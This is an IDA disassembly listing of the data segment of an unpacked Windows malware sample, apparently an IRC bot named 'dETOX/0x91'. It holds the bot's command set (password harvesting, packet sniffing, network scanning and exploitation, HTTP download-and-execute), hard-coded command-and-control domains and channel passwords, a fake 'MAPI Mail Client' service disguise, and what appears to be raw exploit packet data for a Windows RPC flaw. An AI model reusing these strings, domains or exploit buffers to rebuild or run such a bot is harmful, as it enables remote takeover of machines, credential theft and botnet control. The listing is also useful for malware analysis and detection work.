;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 90EE26F4513B2456FBBCDC0B9EF0BDD2
; File Name : u:\work\90ee26f4513b2456fbbcdc0b9ef0bdd2_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0000C000 ( 49152.)
; Section size in file : 0000C000 ( 49152.)
; Offset to raw data for section: 00001000
; Flags C00000E0: Text Data Bss Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
MEW segment para public 'BSS' use32
assume cs:MEW
;org 401000h
assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing
dword_401000 dd 0 dword_401004 dd 0 dword_401008 dd 0 dword_40100C dd 0 ; sub_408A88+167r
dword_401010 dd 0 ; sub_408A88+C8r ...
dword_401014 dd 0 ; sub_408A88+12Er ...
dword_401018 dd 0 ; sub_408A88+137r ...
dword_40101C dd 0 ; sub_40899B+10r ...
dword_401020 dd 0 ; sub_40899B+30r ...
dword_401024 dd 0 ; sub_40899B+D9r ...
dword_401028 dd 0 dword_40102C dd 0 dword_401030 dd 0 dword_401034 dd 0 dword_401038 dd 0 dword_40103C dd 0 ; sub_408C2B+3Br ...
dd 0
dword_401044 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; MEW:0040C8BCo
dword_401048 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_40104C dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_401050 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_401054 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_408EAB+85r ...
dword_401058 dd 7C8217EAh ; resolved to->KERNEL32.SearchPathAdword_40105C dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_401060 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_409016+E7r ...
dword_401064 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_409016+AFr
dword_401068 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_40106C dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathAdword_401070 dd 7C8024A7h ; resolved to->KERNEL32.ReleaseMutexdword_401074 dd 7C80EA1Bh ; resolved to->KERNEL32.OpenMutexAdword_401078 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_40107C dd 7C834D41h ; resolved to->KERNEL32.lstrcatAdword_401080 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_401084 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorModedword_401088 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; MEW:0040A430r
dword_40108C dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; MEW:00409FE8r ...
dword_401090 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; MEW:00409FBEr ...
dword_401094 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_401098 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounterdword_40109C dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_4010A0 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_4010A4 dd 7C80BE01h, 7C810111h, 7C830D74h; resolved to->KERNEL32.lstrcpyA ; MEW:0040A36Dr ...
dword_4010B0 dd 7C80C108h ; resolved to->KERNEL32.SetThreadPrioritydword_4010B4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_4010B8 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_4010BC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_408E07+67r ...
dword_4010C0 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4010C4 dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_4010C8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_408EAB+DEr ...
dword_4010CC dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_409016+39r ...
dword_4010D0 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40899B+A5r ...
dword_4010D4 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_40A45C+69r
dword_4010D8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSectiondword_4010DC dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount ; sub_4098E2+58r
dword_4010E0 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_4098E2+82r
dword_4010E4 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_40A56C+5Fr
dword_4010E8 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_4098E2+3ADr
dword_4010EC dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; MEW:00405DB1r ...
dword_4010F0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_405CEC+86r ...
dword_4010F4 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_404530+94Br ...
dword_4010F8 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4010FC dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_404530+3FAr ...
dd 0
dword_401104 dd 0 dword_401108 dd 0 dword_40110C dd 0 dword_401110 dd 0 dword_401114 dd 0 dword_401118 dd 0 dword_40111C dd 0 dword_401120 dd 0 dword_401124 dd 0 dword_401128 dd 0 dword_40112C dd 0 dword_401130 dd 0 dword_401134 dd 0 dword_401138 dd 0 dword_40113C dd 0 dword_401140 dd 0 dword_401144 dd 0 dword_401148 dd 0 dword_40114C dd 0 dword_401150 dd 0 dword_401154 dd 0 dword_401158 dd 0 dword_40115C dd 0 dword_401160 dd 0 dword_401164 dd 0 dword_401168 dd 0 dword_40116C dd 0 dword_401170 dd 0 dword_401174 dd 0 dword_401178 dd 0 dword_40117C dd 0 dword_401180 dd 0 dword_401184 dd 0 dword_401188 dd 0 dword_40118C dd 0 dword_401190 dd 0 dword_401194 dd 0 dword_401198 dd 0 dword_40119C dd 2 dup(0) dword_4011A4 dd 0 dword_4011A8 dd 0 dword_4011AC dd 0 dword_4011B0 dd 0 dword_4011B4 dd 0 dword_4011B8 dd 0 align 10h
dword_4011C0 dd 0 align 8
dword_4011C8 dd 0 align 10h
dword_4011D0 dd 0 ; sub_4098E2+389r
dword_4011D4 dd 0 ; sub_4098E2+383r
dword_4011D8 dd 0 dword_4011DC dd 0 ; MEW:0040A152r ...
dword_4011E0 dd 0 ; sub_4098E2+1A7r ...
align 8
dword_4011E8 dd 0 align 10h
dword_4011F0 dd 0 ; sub_407BC9+CAr ...
dword_4011F4 dd 0 dword_4011F8 dd 0 ; sub_407F46+182r
dword_4011FC dd 0 dword_401200 dd 0 ; sub_405DB7+376r ...
dword_401204 dd 0 dword_401208 dd 0 ; sub_409570+60r
dword_40120C dd 0 dword_401210 dd 0 dword_401214 dd 0 dword_401218 dd 0 dword_40121C dd 0 ; sub_4086A6+154r ...
dword_401220 dd 0 ; sub_407BC9+FCr ...
dword_401224 dd 0 dword_401228 dd 0 dword_40122C dd 0 dword_401230 dd 0 ; sub_405DB7+A1r ...
dword_401234 dd 0 ; MEW:00406CB8r ...
dword_401238 dd 0 ; sub_405DB7+BAr ...
dword_40123C dd 0 ; sub_40549A+8Er ...
dword_401240 dd 0 ; sub_407165+94r ...
dword_401244 dd 0 ; sub_405DB7:loc_405E83r ...
dword_401248 dd 0 ; sub_408EAB:loc_409007r
dword_40124C dd 0 ; sub_4052A5+44r ...
dword_401250 dd 0 ; sub_409570+2Er
dword_401254 dd 0 dword_401258 dd 0 dword_40125C dd 0 dd 4 dup(0)
dword_401270 dd 25207325h, 2D3A2073h, 2343003h, 74756F72h, 3656E69h
; DATA XREF: sub_404530+C0Do
dd 70202D02h, 203A6469h, 2333003h, 2036425h, 0A0Dh
dd 7268742Eh, 2E646165h, 6C6C696Bh, 0 ; DATA XREF: sub_404530:loc_4050FFo
dword_4012A8 dd 7268742Eh, 2E646165h, 7473696Ch, 0unk_4012B8 db 25h ; % ; DATA XREF: sub_404530+BABo
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 72h ; r
db 6Fh, 75h, 74h
db 69h ; i
db 6Eh, 65h, 3
db 2
aPidNotFound db '- pid: not found!',0Dh,0Ah,0
align 4
a_thread_find db '.thread.find',0 ; DATA XREF: sub_404530:loc_4050A3o
align 4
unk_4012F4 db 25h ; % ; DATA XREF: sub_404530:loc_405085o
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 3
db 2
aSnifferUnloade db '- sniffer unloaded',0Dh,0Ah,0
align 10h
unk_401320 db 25h ; % ; DATA XREF: sub_404530+B4Bo
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 3
db 2
aSnifferNotActi db '- sniffer not activated',0Dh,0Ah,0
align 10h
a_sniffer_off db '.sniffer.off',0 ; DATA XREF: sub_404530:loc_405055o
align 10h
unk_401360 db 25h ; % ; DATA XREF: sub_404530:loc_40504Bo
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 3
db 2
aSnifferAlready db '- sniffer already activated',0Dh,0Ah,0
align 4
unk_401394 db 25h ; % ; DATA XREF: sub_404530+AFAo
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 3
db 2
aActivatedSniff db '- activated sniffer',0Dh,0Ah,0
align 10h
aSniffer db 'Sniffer',0 ; DATA XREF: sub_404530+AE5o
; sub_404530+B36o ...
a_sniffer_on db '.sniffer.on',0 ; DATA XREF: sub_404530:loc_405004o
dword_4013D4 dd 25207325h, 2D3A2073h, 2343003h, 6C656873h, 646F636Ch
; DATA XREF: sub_404530+ACAo
dd 2D020365h, 72756320h, 746E6572h, 6C20796Ch, 65747369h
dd 676E696Eh, 3A6E6F20h, 33300320h, 3A732502h, 2036425h
dd 74697720h, 30032068h, 64250234h, 73200203h, 73646E65h
dd 0A0Dh
a_shellcode_sta db '.shellcode.status',0 ; DATA XREF: sub_404530:loc_404FA2o
align 4
dword_40143C dd 25207325h, 2D3A2073h, 2343003h, 75636573h, 2036572h
; DATA XREF: sub_404530+A65o
dd 7973202Dh, 6D657473h, 64707520h, 64657461h, 61676120h
dd 74736E69h, 3003203Ah, 654E0233h, 45444474h, 202C0203h
dd 2333003h, 4D4F4344h, 202C0203h, 2333003h, 44626557h
dd 2037661h, 646E6120h
db 20h
db 3, 30h, 33h ; DATA XREF: MEW:off_4027B8o
db 2
db 4Eh, 65h, 74h
db 42h ; B
db 69h, 6Fh, 73h
db 3
db 2, 20h, 76h
aUlnerabilities db 'ulnerabilities',0Dh,0Ah,0
align 4
a_secure_instal db '.secure.install',0 ; DATA XREF: sub_404530:loc_404F7Ao
dword_4014C8 dd 33300320h, 746F5402h, 2036C61h, 3003203Ah, 64250234h
; DATA XREF: sub_404530+A17o
dd 203h
dword_4014E0 dd 33300320h, 3642502h, 25202E02h, 73hdword_4014F0 dd 3430032Dh, 70786502h, 74696F6Ch, 2036465h, 2Dh
; DATA XREF: sub_404530+9A7o
dword_401504 dd 6163732Eh, 74732E6Eh, 737461hdword_401510 dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 372656Eh
; DATA XREF: sub_404530+971o
dd 69202D02h, 6365666Eh, 676E6974h, 646E6520h, 6F206465h
dd 3003206Eh, 73250233h, 0A0D0203h, 0
dword_401548 dd 6163732Eh, 74732E6Eh, 706Fhdword_401554 dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 372656Eh
; DATA XREF: sub_404530:loc_404E2Co
dd 3202D02h, 25023330h, 20020373h, 64207369h, 62617369h
dd 0D64656Ch, 0Ah
unk_401584 db 25h ; % ; DATA XREF: sub_404530+8F2o
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 72h, 3
db 2
db 2Dh, 20h, 3
db 30h ; 0
db 33h, 2, 25h
db 73h ; s
db 3, 2, 20h
aIsAlreadyDisab db 'is already disabled',0Dh,0Ah,0
align 4
a_scan_disable db '.scan.disable',0 ; DATA XREF: sub_404530:loc_404DC3o
align 4
dword_4015CC dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 676E6520h
; DATA XREF: sub_404530+889o
dd 3656E69h, 63202D02h, 65727275h, 796C746Eh, 61637320h
dd 6E696E6Eh, 30032067h, 73250233h, 0A0D0203h, 0
dword_401608 dd 6163732Eh, 75632E6Eh, 6E657272h, 74hunk_401618 db 25h ; % ; DATA XREF: sub_404530+849o
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 72h, 3
db 2
db 2Dh, 20h, 3
db 30h ; 0
db 33h, 2, 25h
db 73h ; s
db 3, 2, 20h
aIsNotAssignedA db 'is not assigned as exploit',0Dh,0Ah,0
align 4
dword_401658 dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 372656Eh
; DATA XREF: sub_404530:loc_404D56o
dd 3202D02h, 25023330h, 20020373h, 65207369h, 6C62616Eh
dd 0A0D6465h, 0
unk_401688 db 25h ; % ; DATA XREF: sub_404530+81Co
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 72h, 3
db 2
db 2Dh, 20h, 3
db 30h ; 0
db 33h, 2, 25h
db 73h ; s
db 3, 2, 20h
aIsAlreadyEnabl db 'is already enabled',0Dh,0Ah,0
align 10h
a_scan_enable db '.scan.enable',0 ; DATA XREF: sub_404530:loc_404CEDo
align 10h
asc_4016D0 db '-l',0 ; DATA XREF: sub_404530+788o
align 4
aR db '-r',0 ; DATA XREF: sub_404530+6F7o
align 4
asc_4016D8 db '-x',0 ; DATA XREF: sub_404530:loc_404BE9o
; sub_404530:loc_404C47o
align 4
aSD_D db '%s%d.%d',0 ; DATA XREF: sub_404530+6A8o
a_: ; DATA XREF: sub_404530+681o
; sub_4095E2+33o
unicode 0, <.>,0
aS_0 db '-s',0 ; DATA XREF: sub_404530:loc_404B71o
align 4
db 25h ; % ; DATA XREF: sub_404530+5E9o
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 72h, 3
db 2
aFailedModuleCh db '- failed module chosen doesn',27h,'t excist',0Dh,0Ah,0
align 4
aScanner db 'Scanner',0 ; DATA XREF: sub_404530+590o
; sub_404530:loc_404CD2o ...
a_scan_start db '.scan.start',0 ; DATA XREF: sub_404530:loc_404A5Fo
dword_401740 dd 25207325h, 2D3A2073h, 2343003h, 6E65706Fh, 202D0203h
; DATA XREF: sub_404530:loc_404A55o
dd 6C696166h, 74206465h, 706F206Fh, 3206E65h, 25023330h
dd 0D020373h, 0Ah
dword_401770 dd 25207325h, 2D3A2073h, 2343003h, 6E65706Fh, 202D0203h
; DATA XREF: sub_404530+51Bo
dd 6E65706Fh, 3206465h, 25023330h, 20020373h, 63637573h
dd 75667365h, 0D796C6Ch, 0Ah
aOpen db 'open',0 ; DATA XREF: sub_404530+505o
align 4
a_open db '.open',0 ; DATA XREF: sub_404530:loc_404A11o
align 4
unk_4017B4 db 25h ; % ; DATA XREF: sub_404530+4D7o
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 3
db 2, 2Dh, 20h
aFailedToDownlo db 'failed to download [%s]',0Dh,0Ah,0
align 4
dword_4017E8 dd 25207325h, 2D3A2073h, 2343003h, 6E776F64h, 64616F6Ch
; DATA XREF: sub_404530+4C5o
dd 202D0203h, 6E776F64h, 64616F6Ch, 61206465h, 6520646Eh
dd 75636578h, 20646574h, 5D73255Bh, 206F7420h, 5D73255Bh
dd 30032820h, 6C250233h, 20020375h, 6920626Bh, 3003206Eh
dd 64250233h, 73200203h, 5B206365h, 2333003h, 2036425h
dd 2F626B20h, 5D636573h, 0A0D29h
dword_401858 dd 25207325h, 2D3A2073h, 2343003h, 6E776F64h, 64616F6Ch
; DATA XREF: sub_404530+492o
dd 202D0203h, 6E776F64h, 64616F6Ch, 5B206465h, 205D7325h
dd 5B206F74h, 205D7325h, 33300328h, 756C2502h, 6B200203h
dd 6E692062h, 33300320h, 3642502h, 65732002h, 35B2063h
dd 25023330h, 20020364h, 732F626Bh, 295D6365h, 0A0Dh
dword_4018BC dd 752Dh dd 652Dh ; DATA XREF: sub_404530+381o
; sub_404530+5A3o
dd 776F642Eh, 616F6C6Eh, 74682E64h, 7074h
; DATA XREF: sub_404530:loc_404878o
dword_4018D4 dd 6372692Eh, 6D756A2Eh, 70hdword_4018E0 dd 25207325h, 2D3A2073h, 2343003h, 3637269h, 69202D02h
; DATA XREF: sub_404530+2EEo
dd 726C6120h, 79646165h, 66656C20h, 30032074h, 73250233h
dd 0A0D0203h, 0
dword_401910 dd 54524150h, 20732520h, 0A0D7325h, 0 ; sub_404530+2FFo
dd 6372692Eh, 7261702Eh, 74h ; DATA XREF: sub_404530:loc_4047B7o
dword_40192C dd 25207325h, 2D3A2073h, 2343003h, 3637269h, 69202D02h
; DATA XREF: sub_404530+264o
dd 61206D27h, 6165726Ch, 69207964h, 3003206Eh, 73250233h
dd 0A0D0203h, 0
dword_40195C dd 4E494F4Ah, 20732520h, 0A0D7325h, 0 ; sub_404530+275o ...
dd 6372692Eh, 696F6A2Eh, 6Eh ; DATA XREF: sub_404530:loc_40472Do
dword_401978 dd 6F2Dh aPasswordFinder db 'Password Finder',0 ; DATA XREF: sub_404530:loc_4046DFo
; MEW:loc_40A436o
a_harvest_passw db '.harvest.passwords',0 ; DATA XREF: sub_404530:loc_4046BAo
align 10h
dword_4019A0 dd 25207325h, 2D3A2073h, 2343003h, 64707466h, 202D0203h
; DATA XREF: sub_404530+178o
dd 72727563h, 6C746E65h, 696C2079h, 6E657473h, 20676E69h
dd 203A6E6Fh, 2333003h, 253A7325h, 20020364h, 68746977h
dd 34300320h, 3642502h, 65732002h, 0D73646Eh, 0Ah
dword_4019F0 dd 7074662Eh, 74732E64h, 73757461h, 0dword_401A00 dd 746F622Eh, 7379732Eh, 6F666E69h, 0dword_401A10 dd 25207325h, 2D3A2073h, 2343003h, 3746F62h, 6C202D02h
; DATA XREF: sub_404530+125o
dd 6C61636Fh, 3A504920h, 33300320h, 3732502h, 0A0D02h
dword_401A38 dd 746F622Eh, 70692Ehdword_401A40 dd 746F622Eh, 736F2Ehdword_401A48 dd 25207325h, 253A2073h, 0A0D73h ; sub_40A5D5+5Co
dword_401A54 dd 746F622Eh, 7470752Eh, 656D69haQuitGodHatesUs db 'QUIT :god hates us all',0Dh,0Ah,0 ; DATA XREF: sub_404530+ABo
align 4
a_bot_leave db '.bot.leave',0 ; DATA XREF: sub_404530:loc_4045CAo
align 4
unk_401A88 db 25h ; % ; DATA XREF: sub_404530+90o
db 73h, 20h, 25h
db 73h ; s
db 20h, 3Ah, 2Dh
db 3
db 30h, 34h, 2
db 76h ; v
db 65h, 72h, 73h
db 69h ; i
db 6Fh, 6Eh, 3
db 2
aSADerangedProd db '- %s a deranged product by an evil coder',0Dh,0Ah,0
a_bot_compilati db '.bot.compilation',0 ; DATA XREF: sub_404530:loc_4045A5o
align 4
asc_401ADC: ; DATA XREF: sub_404530+2Eo
; sub_4055A6+78o
unicode 0, < >,0
aDetox0x91Win32 db 'dETOX/0x91 (win32)',0 ; DATA XREF: sub_404530+86o
; sub_4052A5+CDo ...
align 4
aMapi32_exe db 'mapi32.exe',0 ; DATA XREF: MEW:00406F4Fo
; sub_407708+81o ...
align 10h
aMapi32_dll db 'mapi32.dll',0
align 4
aMapi db 'MAPI',0 ; DATA XREF: sub_405CEC:loc_405D1Bo
; sub_40899B+28o ...
align 4
aMapiMailClient db 'MAPI Mail Client',0 ; DATA XREF: sub_408A88+57o
align 4
aEnablesSupport db 'Enables support for the Messaging Application Program Interface.',0
; DATA XREF: sub_408A88+91o
align 4
aMapiMailClie_0 db 'MAPI Mail Client',0
align 10h
aXmapimailclien db 'xMAPIMailClientx',0 ; DATA XREF: sub_408DE9o sub_408EAB+Do
align 8
off_401B98 dd offset a0x80_mySecure_ ; DATA XREF: sub_405167+17r
; sub_4052A5+37r
; "0x80.my-secure.name"
word_401B9C dw 199Ch ; DATA XREF: sub_4052A5+5Br
align 10h
off_401BA0 dd offset byte_40B078 ; DATA XREF: sub_4052A5+9Cr
; sub_4052A5+B4r
off_401BA4 dd offset a9 ; DATA XREF: sub_404530+224r
; sub_404530+2AEr ...
; "#9#"
off_401BA8 dd offset aG3t0u7 ; DATA XREF: sub_4055A6+1AFr
; sub_4055A6+1F8r ...
; "g3t0u7"
off_401BAC dd offset aRaw ; DATA XREF: sub_409834+97r
; "#raw"
off_401BB0 dd offset aExploit ; DATA XREF: sub_407282+59r
; sub_407282+23Cr ...
; "#exploit"
dd offset a0x80_my1x1_com ; "0x80.my1x1.com"
dd 199Ch, 40B078h, 401CDCh, 401CD4h, 401CCCh, 401CC0h
dd 401C98h, 199Ch, 40B078h, 401CDCh, 401CD4h, 401CCCh
dd 401CC0h, 401C80h, 199Ch, 40B078h, 401CDCh, 401CD4h
dd 401CCCh, 401CC0h, 401C64h, 199Ch, 40B078h, 401CDCh
dd 401CD4h, 401CCCh, 401CC0h, 401C50h, 199Ch, 40B078h
dd 401CDCh, 401CD4h, 401CCCh, 401CC0h
dd 646E696Dh, 6B61656Ch, 6D6F632Eh, 0 ; DATA XREF: sub_4055A6+567o
a0xff_memzero_i db '0xff.memzero.info',0
align 4
a0x80_onlineSof db '0x80.online-software.org',0
align 10h
a0x80_goingform db '0x80.goingformars.com',0
align 4
a0x80_martianso db '0x80.martiansong.com',0
align 10h
a0x80_my1x1_com db '0x80.my1x1.com',0 ; DATA XREF: MEW:00401BB4o
align 10h
aExploit db '#exploit',0 ; DATA XREF: MEW:off_401BB0o
align 4
aRaw db '#raw',0 ; DATA XREF: MEW:off_401BACo
align 4
aG3t0u7 db 'g3t0u7',0 ; DATA XREF: MEW:off_401BA8o
align 4
a9 db '#9#',0 ; DATA XREF: MEW:off_401BA4o
a0x80_mySecure_ db '0x80.my-secure.name',0 ; DATA XREF: MEW:off_401B98o
aUserSSSSNickS db 'USER %s %s %s :%s',0Dh,0Ah ; DATA XREF: sub_4052A5+D5o
; sub_4055A6+33Bo
db 'NICK %s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_4052A5+BAo
align 10h
asc_401D20: ; DATA XREF: sub_4055A6+5DEo
unicode 0, <*>,0
asc_401D24: ; DATA XREF: sub_4055A6+52Fo
unicode 0, <:>,0
a@: ; DATA XREF: sub_4055A6+4C1o
; sub_4055A6:loc_405C52o
unicode 0, <@>,0
asc_401D2C: ; DATA XREF: sub_4055A6+488o
unicode 0, <!>,0
aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_4055A6+431o
a513 db '513',0 ; DATA XREF: sub_4055A6+3FCo
a480 db '480',0 ; DATA XREF: sub_4055A6+3E7o
a475 db '475',0 ; DATA XREF: sub_4055A6+3D2o
a474 db '474',0 ; DATA XREF: sub_4055A6+3BDo
a473 db '473',0 ; DATA XREF: sub_4055A6+3A8o
a471 db '471',0 ; DATA XREF: sub_4055A6:loc_405939o
a432 db '432',0 ; DATA XREF: sub_4055A6:loc_4058F3o
a433 db '433',0 ; DATA XREF: sub_4055A6:loc_4058B0o
asc_401D58 db ' :',0 ; DATA XREF: sub_4055A6+2ACo
align 4
a332 db '332',0 ; DATA XREF: sub_4055A6:loc_405841o
a366 db '366',0 ; DATA XREF: sub_4055A6+264o
a422 db '422',0 ; DATA XREF: sub_4055A6+24Fo
a001 db '001',0 ; DATA XREF: sub_4055A6:loc_4057E0o
aModeSI db 'MODE %s +i',0Dh,0Ah,0 ; DATA XREF: sub_4055A6+1E4o
; sub_4055A6+65Eo
align 4
a009 db '009',0 ; DATA XREF: sub_4055A6:loc_405768o
aKick db 'KICK',0 ; DATA XREF: sub_4055A6:loc_40572Ao
align 4
aError db 'ERROR',0 ; DATA XREF: sub_4055A6:loc_4056F5o
align 10h
dword_401D90 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_4055A6+13Do
dd 0D017325h, 0Ah
dword_401DAC dd 4556013Ah, 4F495352h, 14Eh dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_4055A6+105o
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_4055A6:loc_405694o
; sub_4055A6+2EFo
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_4055A6+DDo
align 4
aPing db 'PING',0 ; DATA XREF: sub_4055A6:loc_405667o
align 10h
dword_401DE0 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx: ; DATA XREF: sub_405DB7+15Bo
unicode 0, <FXNBFXFXNBFXFXFXFX>,0
align 4
db 0CCh
db 0E0h, 0FDh, 7Fh
db 0CCh
db 0E0h, 0FDh, 7Fh
align 10h
dword_401E60 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_405DB7+133o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4021C4 dd 20h, 0 dd 20h, 5C005Ch, 0
aC1234561111111: ; DATA XREF: sub_405DB7+19Ao
unicode 0, <\C$\123456111111111111111.doc>,0
align 8
dword_402218 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
dword_40224C dd 2180310h dword_402250 dd 10016C6h dd 100139Dh, 1001C55h, 1001C98h ; DATA XREF: sub_405DB7+1DAo
dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_405DB7+3Do
; sub_405DB7+302o ...
